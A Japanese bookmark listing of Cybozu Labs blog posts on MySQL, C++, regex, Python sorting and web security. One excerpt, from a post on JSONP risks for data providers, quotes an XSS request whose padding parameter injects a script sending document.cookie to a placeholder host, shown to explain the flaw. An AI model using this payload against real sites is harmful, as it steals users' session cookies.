タグ

ブックマーク / labs.cybozu.co.jp (12)

  • Kazuho at Work: Q4M Presentation Slides at MySQL Conference

    Today at MySQL Conference & Expro 2009, I did a presentation introducing / explaining Q4M. Thank you to people who came to listen. The presentation slides I used can be found on slideshare (slideshare). Tomorrow (Apr 23) from 6:10pm, I will be doing another presentation at Percona Performance Conference, held at the same location, to describe the techniques (mainly MySQL UDFs) used to squeeze maxi

  • Kazuho at Work: Using Top N Sort on MySQL

    One of the best practices on using MySQL is to avoid filesort. However there are cases where it is inevitable (e.g. ordering the result of fulltext search by modification date), and although in most cases we only the top N rows of sorted resultset are needed, MySQL does not implement top N sort. After wondering for couple of months if I should hack the MySQL core to implement top-N-sort, today I d

  • 「英単語」タイピングゲーム iVoca が英語以外にも対応しました (nakatani @ cybozu labs)

  • Kazuho@Cybozu Labs: C++ テンプレートを使って高速な高機能サーバを書く方法

    « C++ テンプレートで(いまさら)FizzBuzz | メイン | データベースの差分バックアップとウェブサービスのお引っ越し » 2008年04月18日 C++ テンプレートを使って高速な高機能サーバを書く方法 「C++ のメンバ関数ポインタって何のためにあるの」という質問を耳にすることがあります。実際は、たとえばステートマシンを書くのに便利なのですが、ちょうどサイボウズ・ラボの C++ 熱が盛り上がっていることもあり、昔の作ったサーバフレームワークを再実装してみました。ちなみにもともとは、1990年代に東京大学駒場キャンパスで使われていた friends というサービスのバックエンドだった、finger プロキシ用に書いたコードです。ソースコードは /lang/cplusplus/friends_framework - CodeRepos::Share - Trac においてありま

    perezvon
    perezvon 2008/04/19
    ちなみにもともとは、1990年代に東京大学駒場キャンパスで使われていた friends というサービスのバックエンドだった、finger プロキシ用に書いたコードです。
  • log4ZIGOROu : Module-Starterのカスタマイズ

    date 2007-04-02 14:05:29 category CPAN permlink here comment 0 trackback 0 いずれ奇麗にまとめてやろうと思ってたんですが、いい機会なのでこの辺りでmodule-starterの詳細とカスタマイズについて書いてみます。 ところで以前Module::Starterのplugin機構が面白い件についてと言うエントリを書いた事があるのですが、こちらに関して頭に入っているとより理解しやすいかもしれません。 名前とメールアドレスの設定 毎回author, emailを指定するのも面倒なので下記のように設定してしまいましょう。 ~/.module-starter/configに記載します。 author: Toru Yamaguchi email: foo@example.com これで次回からこのパラメータを指定する必要は無くな

  • phpspotの人は正規表現について語らないほうがいいのでは | 秋元@サイボウズラボ・プログラマー・ブログ

    「実用的なPHP用の正規表現x8」というphpspot開発日誌という記事で、 8 Practical PHP Regular Expressions – Web devlopment blogという、今日del.icio.us/popularに出ていた記事の紹介がされている。このサイトの記事はいつもそうだけど、はてなブックマークでも人気で、既に50名を越えるユーザにブックマークされているようだ。 1 メールアドレスチェック $string = "first.last@domain.co.uk"; if (preg_match( '/^[^0-9][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[@][a-zA-Z0-9_]+([.][a-zA-Z0-9_]+)*[.][a-zA-Z]{2,4}$/', $string)) { echo "example 3 successf

    perezvon
    perezvon 2007/10/17
  • TAKESAKO @ Yet another Cybozu Labs: core dumpするコードの短さを競う「Core Golf」

    まめめもさんの core golf のエントリー(6/27)より さて、core dump するコードの短さで競う core golf はゲームとして成立するでしょうか。明らかに環境や処理系に依存するのでルールの決め方が難しいです。とりあえずうちでは core dump した C のコード (15B) 。もっと短くなる? core dumpの定義はいろいろあると思いますが、とりあえず手元の環境 CentOS Linux x64_64 で segmentation fault が起きるコードで。 (1) C言語で core dump 早速、core dumpした5byteのCのコード。 (via. λx.x K S K @ はてな - core golf) main; 実行結果 $ echo -n "main;" > a.c && cc a.c && ./a.out a.c:1: 警告: デ

  • Kazuho@Cybozu Labs: サーバシグニチャは隠さないのが当たり前

    « Pathtraq バージョンアップのおしらせ - サイドバー表示に対応 | メイン | Perl から MySQL に非同期アクセスする方法 » 2007年09月05日 サーバシグニチャは隠さないのが当たり前 ウェブサーバ(Apache)で、404などのエラーページを表示したとき、ヘッダやページの下にApacheやOSのバージョンが表示されます。こういったサーバ情報をわざわざ表示する必要はありません。 ウノウラボ Unoh Labs: 5分でできるウェブサーバのセキュリティ向上施策 私も何年も前からセミナーではサーバ、モジュールバージョンは隠すようにと言っています。何故こんな事で賛否両論になるのか全く理解できません。 yohgaki's blog - サーバシグニチャは隠すのが当たり前 Server: ヘッダを隠すメリットについての議論はあるようですが、Server: ヘッダを表示すべ

  • 西尾泰和のブログ @ Cybozu Labs: Python2.4以降での高速なソート

    どうも、ご無沙汰です。 このブログをはじめた当初は「1日1エントリー公開しよう」 などともくろんでいたのですが、はやくも2週間以上間が空いてしまいました。 今回の話はCPythonにバージョン2.4から追加された機能についてです。 みなさんは、例えば「タプルの入ったリストを、そのタプルの2番目の要素でソートしたい」とか 「Entryオブジェクトのリストを、その属性updateTimeの値に従ってソートしたい」という場合、 どうしていますか? まずは2.3以前から可能だった 「sortメソッドに比較用の関数を渡す方法」の実行にかかる時間を調べてみます。 # sortメソッドに比較用の関数を渡す方法 d.sort(lambda x, y: cmp(x[1], y[1])) 実行時間の測定にはtimeitモジュールを使います。 (10.10 timeit -- 小さなコード断片の実行時間計測)

  • Kazuho@Cybozu Labs: JSONP - データ提供者側のセキュリティについて

    « E4X-XSS 脆弱性について | メイン | 「スーパー技術者争奪戦」 » 2007年01月12日 JSONP - データ提供者側のセキュリティについて JSONP のセキュリティは、ともすればインクルードする側についての議論になりがちであり、その影でインクルードされる側のリスクが見過ごされがちです。JSONP の使用にあたっては、データ提供者への XSS に注意する必要があります。脆弱な例としては、以下のようなものがあります。 GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;

  • Kazuho@Cybozu Labs: Comet の正しい使い方

    « 「スーパー技術者争奪戦」 | メイン | JavaScript から Flash の便利な機能を使う方法 » 2007年02月23日 Comet の正しい使い方 今日会社の勉強会で Comet について話す機会がありました。 Comet については、普及するかどうかという以前に、どう使えばいいのか、正しく使った場合に何をどこまでできるのか、という理解が共有されていないように思います。なので、(あくまで私見ですが) 使用したスライドの一部を公開したいと思います。よろしければごらんください。また、問題や改善すべき点があれば、教えていただければ幸いです。

  • 畑@サイボウズ・ラボ - C++のWebアプリ用テンプレート・エンジン

    プリファードインフラストラクチャーからC++でWebアプリケーションを開発するためのテンプレート・エンジンが公開されたようです。 WebアプリをC++で開発するためのテンプレート・エンジンをオープンソースとして公開 ソフト開発会社のプリファードインフラストラクチャーは2006年10月13日,CGI(Common Gateway Interface)を用いたWeb連携アプリケーションをC++言語で開発するためのソフトウエア部品群「AzaraC(あざらし)」をオープンソースとして公開した。ビュー(HTML)とロジック(C++)とを分離する開発が可能になる。ライセンスはBSDライセンスに準拠する。... 実際に使ってみたわけではないが、ドキュメント等を眺めてみると、ASP, JSP, PHP のように <% %> タグを使って変数を埋め込む形式のようです。できることなら、PHP のテンプレート・

  • 1